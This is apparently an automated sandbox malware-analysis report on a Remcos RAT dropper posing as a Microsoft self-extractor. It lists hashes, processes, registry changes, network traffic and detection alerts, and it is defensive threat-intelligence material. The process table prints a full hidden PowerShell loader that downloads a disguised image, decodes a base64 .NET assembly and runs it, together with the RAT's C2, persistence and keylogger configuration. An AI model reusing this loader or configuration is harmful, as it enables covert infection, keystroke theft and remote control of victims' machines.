| File name: | remittances.exe |
| Full analysis: | https://app.any.run/tasks/639bc233-18ea-40c0-98bc-5023fbc5afe3 |
| Verdict: | Malicious activity |
| Threats: | A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools. |
| Analysis date: | August 22, 2024, 15:50:43 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows |
| MD5: | CA811679ED43268456B3E323CAE3ED70 |
| SHA1: | C0056591460DFF8C5A163F6CE0EC7B22D469A4CB |
| SHA256: | AD2D7654AB36D32F4C07992D995163624DF810591A8A62A5BB6708A491734F98 |
| SSDEEP: | 6144:9dyr95MfxewjwVDBI2LnT25qndIjjVV7K:9dyr96f0wjwVlpLnT25qndIPVVG |
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2062:07:25 12:18:00+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.2 |
| CodeSize: | 31744 |
| InitializedDataSize: | 131584 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x8200 |
| OSVersion: | 10 |
| ImageVersion: | 10 |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 11.0.19041.1 |
| ProductVersionNumber: | 11.0.19041.1 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Microsoft Corporation |
| FileDescription: | Win32 Cabinet Self-Extractor |
| FileVersion: | 11.00.19041.1 (WinBuild.160101.0800) |
| InternalName: | Wextract |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFileName: | WEXTRACT.EXE .MUI |
| ProductName: | Internet Explorer |
| ProductVersion: | 11.00.19041.1 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 420 | "C:\Users\admin\AppData\Local\Temp\word.exe" | C:\Users\admin\AppData\Local\Temp\word.exe | MSBuild.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Version: 3.2.0.0 Modules
| |||||||||||||||
| 3180 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?11811735', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.02bg/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'Msbuild', '0'))}}" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4692 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | — | MSBuild.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 2 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 5048 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
Remcos(PID) Process(5048) MSBuild.exe C2 (1)111.90.148.123:2404:1111.90.148.123:80:1111.90.148.123:8080:1111.90.148.123:5651 BotnetHST2 Options Connect_interval1 Install_flagFalse Install_HKCU\RunTrue Install_HKLM\RunTrue Install_HKLM\Explorer\Run1 Install_HKLM\Winlogon\Shell100000 Setup_path%LOCALAPPDATA% Copy_fileremcos.exe Startup_valueFalse Hide_fileFalse Mutex_nameswasf-IQB1JV Keylog_flag1 Keylog_path%LOCALAPPDATA% Keylog_filelogs.dat Keylog_cryptFalse Hide_keylogFalse Screenshot_flagFalse Screenshot_time5 Take_ScreenshotFalse Screenshot_path%APPDATA% Screenshot_fileScreenshots Screenshot_cryptFalse Mouse_optionFalse Delete_fileFalse Audio_record_time5 Audio_path%ProgramFiles% Audio_dirMicRecords Connect_delay0 Copy_dirRemcos Keylog_dirremcos | |||||||||||||||
| 6028 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe /stext "C:\Users\admin\AppData\Local\Temp\sehwhwc" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | MSBuild.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 0 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 6396 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe /stext "C:\Users\admin\AppData\Local\Temp\uymhionysq" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | MSBuild.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 0 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 6432 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | — | MSBuild.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 0 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 6936 | "C:\Users\admin\AppData\Local\Temp\remittances.exe" | C:\Users\admin\AppData\Local\Temp\remittances.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Win32 Cabinet Self-Extractor Exit code: 0 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6980 | cmd.exe /c plk.vbs | C:\Windows\System32\cmd.exe | — | remittances.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6988 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (6980) cmd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids |
| Operation: | write | Name: | VBSFile |
Value: | |||
| (PID) Process: | (6980) cmd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (6980) cmd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (6980) cmd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (6980) cmd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (7060) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (7060) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (7060) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (7060) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (3180) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6028 | MSBuild.exe | C:\Users\admin\AppData\Local\Temp\bhv336C.tmp | — | |
MD5:— | SHA256:— | |||
| 7112 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3byqs2gq.mbk.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6028 | MSBuild.exe | C:\Users\admin\AppData\Local\Temp\sehwhwc | text | |
MD5:73AFEF57A57FF8285682E59AEBA8FE4A | SHA256:9081F636845E9A6B7D781F2F35A28B33B7FDF5373075B435C5B373119D0934A3 | |||
| 420 | word.exe | C:\Users\admin\spherosome\preadoption\preembodiment\Motived.Bje | binary | |
MD5:09D06FF74381984DBB4607A73DC23228 | SHA256:3DD6DC560DA426B32755B8CFABD3D30922069D0DA799CC87A2BC8E1EFD57D61D | |||
| 420 | word.exe | C:\Users\admin\spherosome\preadoption\preembodiment\Skankebens.ans | binary | |
MD5:906C52BEDBBED70B5BFBC362478D3784 | SHA256:005C018659AAAC011D7ED6C114F3E49411287B19AC7BE710D1ED235D6071D777 | |||
| 420 | word.exe | C:\Users\admin\spherosome\preadoption\preembodiment\Himlede\tilfrte.pro | abr | |
MD5:91AB86EFCEF8A954283176E8D1FB277A | SHA256:E402940C699100D4842127012B8389E57040D81630FAECFD5BC226945DF0C724 | |||
| 420 | word.exe | C:\Users\admin\spherosome\preadoption\preembodiment\Himlede\twiddle.une | binary | |
MD5:F0E68C57B3CC765BCA4535C863FEEFFB | SHA256:85D226BA6ECE9411F59066ACD17B8B0D7EF4C8D6183424C8B1722FDD856B9F30 | |||
| 420 | word.exe | C:\Users\admin\spherosome\preadoption\preembodiment\Himlede\heracleum.txt | text | |
MD5:BE4F612D0B8E53593C17B98A99723CFE | SHA256:CB480FAD6ED5ACE2139EC360E6A4BF19C4ED43E6DFC8378989589FB4AE8D6AC4 | |||
| 420 | word.exe | C:\Users\admin\AppData\Local\Temp\Setup.ini | text | |
MD5:B73A171C8DE922AFE4E446EC817FF4B3 | SHA256:F8BAA811A75E4E24939FB0D51A61DD0B6F4FE00DBA0171982D2F8FAE26F5A28C | |||
| 7112 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0mu33eju.nes.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5336 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
5336 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
7032 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
4008 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
5048 | MSBuild.exe | GET | 200 | 178.237.33.50:80 | http://geoplugin.net/json.gp | unknown | — | — | whitelisted |
2928 | SIHClient.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1920 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5880 | RUXIMICS.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3888 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
5336 | SearchApp.exe | 184.86.251.4:443 | www.bing.com | Akamai International B.V. | DE | unknown |
5336 | SearchApp.exe | 184.86.251.15:443 | www.bing.com | Akamai International B.V. | DE | unknown |
5336 | SearchApp.exe | 184.86.251.14:443 | www.bing.com | Akamai International B.V. | DE | unknown |
5336 | SearchApp.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
5336 | SearchApp.exe | 20.189.173.7:443 | browser.pipe.aria.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | unknown |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
th.bing.com |
| whitelisted |
r.bing.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
browser.pipe.aria.microsoft.com |
| whitelisted |
bitbucket.org |
| shared |
bbuseruploads.s3.amazonaws.com |
| shared |
client.wns.windows.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
5048 | MSBuild.exe | A Network Trojan was detected | REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash |
5048 | MSBuild.exe | Malware Command and Control Activity Detected | ET JA3 Hash - Remcos 3.x/4.x TLS Connection |
5048 | MSBuild.exe | A Network Trojan was detected | REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash |
5048 | MSBuild.exe | A Network Trojan was detected | REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash |
5048 | MSBuild.exe | A Network Trojan was detected | REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash |
5048 | MSBuild.exe | A Network Trojan was detected | REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash |
5048 | MSBuild.exe | Malware Command and Control Activity Detected | ET JA3 Hash - Remcos 3.x/4.x TLS Connection |
5048 | MSBuild.exe | Malware Command and Control Activity Detected | ET JA3 Hash - Remcos 3.x/4.x TLS Connection |
5048 | MSBuild.exe | Malware Command and Control Activity Detected | ET JA3 Hash - Remcos 3.x/4.x TLS Connection |
5048 | MSBuild.exe | Malware Command and Control Activity Detected | ET JA3 Hash - Remcos 3.x/4.x TLS Connection |